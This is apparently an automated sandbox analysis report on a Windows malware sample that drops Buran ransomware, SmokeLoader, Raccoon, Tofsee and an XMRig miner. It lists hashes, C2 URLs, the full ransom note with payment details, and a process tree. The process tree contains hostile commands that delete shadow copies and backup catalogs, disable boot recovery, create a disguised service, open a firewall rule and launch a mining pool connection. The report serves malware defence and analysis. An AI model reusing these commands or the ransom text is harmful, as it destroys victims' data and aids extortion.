Analysis

  • max time kernel
    152s
  • max time network
    187s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29/08/2021, 08:46

General

  • Target

    2cbfec5cd3f0662c2715c07cb5137bc9.exe

  • Size

    139KB

  • MD5

    2cbfec5cd3f0662c2715c07cb5137bc9

  • SHA1

    d9d8cbb7e646d492aaff3280898b79bb764eabf9

  • SHA256

    7a0413cd0a25ed760cf3e17c60ce915b28c0472a658ba910d76435c19213dfac

  • SHA512

    80450e2cd7d059cfa9f2d752f2b4d4a9d642006879a5900f102e622eadede260db97103b55ceaa408896ac87f9e82a76b87f7d34328756bdd9b57d219e0ff7fc

Malware Config

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. PAY FAST 500$=0.013 btc or the price will increase tomorrow bitcoin address bc1qqxnp9z0ff8x852dyflp5r9r6rzse8jl5hzmqz8 To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? [email protected] TELEGRAM @ payfast290 Your personal ID: 18C-995-6E7 Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

fe582536ec580228180f270f7cb80a867860e010

Attributes
  • url4cnc

    https://telete.in/xylichanjk

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

d02c5d65069fc7ce1993e7c52edf0c9c4c195c81

Attributes
  • url4cnc

    https://telete.in/open3entershift

rc4.plain
rc4.plain

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 9 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2cbfec5cd3f0662c2715c07cb5137bc9.exe
    "C:\Users\Admin\AppData\Local\Temp\2cbfec5cd3f0662c2715c07cb5137bc9.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Users\Admin\AppData\Local\Temp\2cbfec5cd3f0662c2715c07cb5137bc9.exe
      "C:\Users\Admin\AppData\Local\Temp\2cbfec5cd3f0662c2715c07cb5137bc9.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1380
  • C:\Users\Admin\AppData\Local\Temp\8FE1.exe
    C:\Users\Admin\AppData\Local\Temp\8FE1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Users\Admin\AppData\Local\Temp\90BC.exe
    C:\Users\Admin\AppData\Local\Temp\90BC.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Modifies system certificate store
    PID:564
  • C:\Users\Admin\AppData\Local\Temp\9272.exe
    C:\Users\Admin\AppData\Local\Temp\9272.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mmnishxk\
      2⤵
        PID:1404
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\psltrtbl.exe" C:\Windows\SysWOW64\mmnishxk\
        2⤵
          PID:1160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mmnishxk binPath= "C:\Windows\SysWOW64\mmnishxk\psltrtbl.exe /d\"C:\Users\Admin\AppData\Local\Temp\9272.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1624
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mmnishxk "wifi internet conection"
            2⤵
              PID:1900
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mmnishxk
              2⤵
                PID:968
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1596
              • C:\Users\Admin\AppData\Local\Temp\9C23.exe
                C:\Users\Admin\AppData\Local\Temp\9C23.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:616
              • C:\Users\Admin\AppData\Local\Temp\9E08.exe
                C:\Users\Admin\AppData\Local\Temp\9E08.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1064
                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -start
                  2⤵
                  • Executes dropped EXE
                  • Enumerates connected drives
                  • Modifies system certificate store
                  PID:276
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                    3⤵
                      PID:1012
                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                        wmic shadowcopy delete
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1952
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                      3⤵
                        PID:1228
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                        3⤵
                          PID:1792
                          • C:\Windows\SysWOW64\vssadmin.exe
                            vssadmin delete shadows /all /quiet
                            4⤵
                            • Interacts with shadow copies
                            PID:952
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                          3⤵
                            PID:932
                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                              wmic shadowcopy delete
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1668
                            • C:\Windows\SysWOW64\vssadmin.exe
                              vssadmin delete shadows /all /quiet
                              4⤵
                              • Interacts with shadow copies
                              PID:2100
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -agent 0
                            3⤵
                            • Executes dropped EXE
                            • Drops file in Program Files directory
                            PID:1548
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                            3⤵
                              PID:1600
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                              3⤵
                                PID:544
                            • C:\Windows\SysWOW64\notepad.exe
                              notepad.exe
                              2⤵
                                PID:1148
                            • C:\Users\Admin\AppData\Local\Temp\A578.exe
                              C:\Users\Admin\AppData\Local\Temp\A578.exe
                              1⤵
                              • Executes dropped EXE
                              PID:1076
                            • C:\Windows\SysWOW64\mmnishxk\psltrtbl.exe
                              C:\Windows\SysWOW64\mmnishxk\psltrtbl.exe /d"C:\Users\Admin\AppData\Local\Temp\9272.exe"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of WriteProcessMemory
                              PID:1996
                              • C:\Windows\SysWOW64\svchost.exe
                                svchost.exe
                                2⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                PID:1608
                                • C:\Windows\SysWOW64\svchost.exe
                                  svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                  3⤵
                                    PID:1148
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                1⤵
                                  PID:1856
                                • C:\Windows\explorer.exe
                                  C:\Windows\explorer.exe
                                  1⤵
                                    PID:2000
                                  • C:\Windows\SysWOW64\explorer.exe
                                    C:\Windows\SysWOW64\explorer.exe
                                    1⤵
                                      PID:1120
                                    • C:\Windows\explorer.exe
                                      C:\Windows\explorer.exe
                                      1⤵
                                        PID:1404
                                      • C:\Windows\SysWOW64\explorer.exe
                                        C:\Windows\SysWOW64\explorer.exe
                                        1⤵
                                          PID:824
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe
                                          1⤵
                                            PID:552
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                              PID:1980
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe
                                              1⤵
                                                PID:1376
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                  PID:1908
                                                • C:\Windows\system32\vssvc.exe
                                                  C:\Windows\system32\vssvc.exe
                                                  1⤵
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:564

                                                Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • memory/552-128-0x0000000000070000-0x0000000000076000-memory.dmp

                                                  Filesize

                                                  24KB

                                                • memory/552-129-0x0000000000060000-0x000000000006C000-memory.dmp

                                                  Filesize

                                                  48KB

                                                • memory/564-75-0x00000000002D0000-0x000000000035F000-memory.dmp

                                                  Filesize

                                                  572KB

                                                • memory/564-77-0x0000000000400000-0x0000000001DB5000-memory.dmp

                                                  Filesize

                                                  25.7MB

                                                • memory/616-140-0x00000000056C0000-0x00000000056C1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/616-131-0x00000000013B0000-0x00000000013B1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/824-126-0x0000000000080000-0x0000000000089000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/824-124-0x0000000000090000-0x0000000000095000-memory.dmp

                                                  Filesize

                                                  20KB

                                                • memory/1076-98-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                                  Filesize

                                                  25.7MB

                                                • memory/1076-95-0x0000000000240000-0x00000000002CF000-memory.dmp

                                                  Filesize

                                                  572KB

                                                • memory/1120-115-0x0000000000080000-0x000000000008B000-memory.dmp

                                                  Filesize

                                                  44KB

                                                • memory/1120-113-0x0000000000090000-0x0000000000097000-memory.dmp

                                                  Filesize

                                                  28KB

                                                • memory/1148-171-0x00000000000C0000-0x00000000001B1000-memory.dmp

                                                  Filesize

                                                  964KB

                                                • memory/1148-155-0x00000000000E0000-0x00000000000E1000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/1220-64-0x0000000002BE0000-0x0000000002BF6000-memory.dmp

                                                  Filesize

                                                  88KB

                                                • memory/1376-138-0x0000000000070000-0x0000000000075000-memory.dmp

                                                  Filesize

                                                  20KB

                                                • memory/1376-139-0x0000000000060000-0x0000000000069000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/1380-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/1380-62-0x00000000754F1000-0x00000000754F3000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1404-119-0x0000000000060000-0x000000000006F000-memory.dmp

                                                  Filesize

                                                  60KB

                                                • memory/1404-118-0x0000000000070000-0x0000000000079000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/1560-76-0x0000000000400000-0x0000000001D73000-memory.dmp

                                                  Filesize

                                                  25.4MB

                                                • memory/1560-79-0x0000000000220000-0x0000000000233000-memory.dmp

                                                  Filesize

                                                  76KB

                                                • memory/1608-103-0x0000000000080000-0x0000000000095000-memory.dmp

                                                  Filesize

                                                  84KB

                                                • memory/1856-117-0x0000000000080000-0x00000000000EB000-memory.dmp

                                                  Filesize

                                                  428KB

                                                • memory/1856-114-0x0000000000470000-0x00000000004E4000-memory.dmp

                                                  Filesize

                                                  464KB

                                                • memory/1856-109-0x00000000738C1000-0x00000000738C3000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1908-145-0x0000000000080000-0x0000000000089000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/1908-144-0x0000000000090000-0x0000000000095000-memory.dmp

                                                  Filesize

                                                  20KB

                                                • memory/1980-136-0x0000000000080000-0x0000000000089000-memory.dmp

                                                  Filesize

                                                  36KB

                                                • memory/1980-135-0x0000000000090000-0x0000000000094000-memory.dmp

                                                  Filesize

                                                  16KB

                                                • memory/1996-101-0x0000000000400000-0x0000000001D73000-memory.dmp

                                                  Filesize

                                                  25.4MB

                                                • memory/2000-108-0x0000000000060000-0x000000000006C000-memory.dmp

                                                  Filesize

                                                  48KB

                                                • memory/2000-107-0x0000000000070000-0x0000000000077000-memory.dmp

                                                  Filesize

                                                  28KB

                                                • memory/2016-63-0x0000000000220000-0x000000000022A000-memory.dmp

                                                  Filesize

                                                  40KB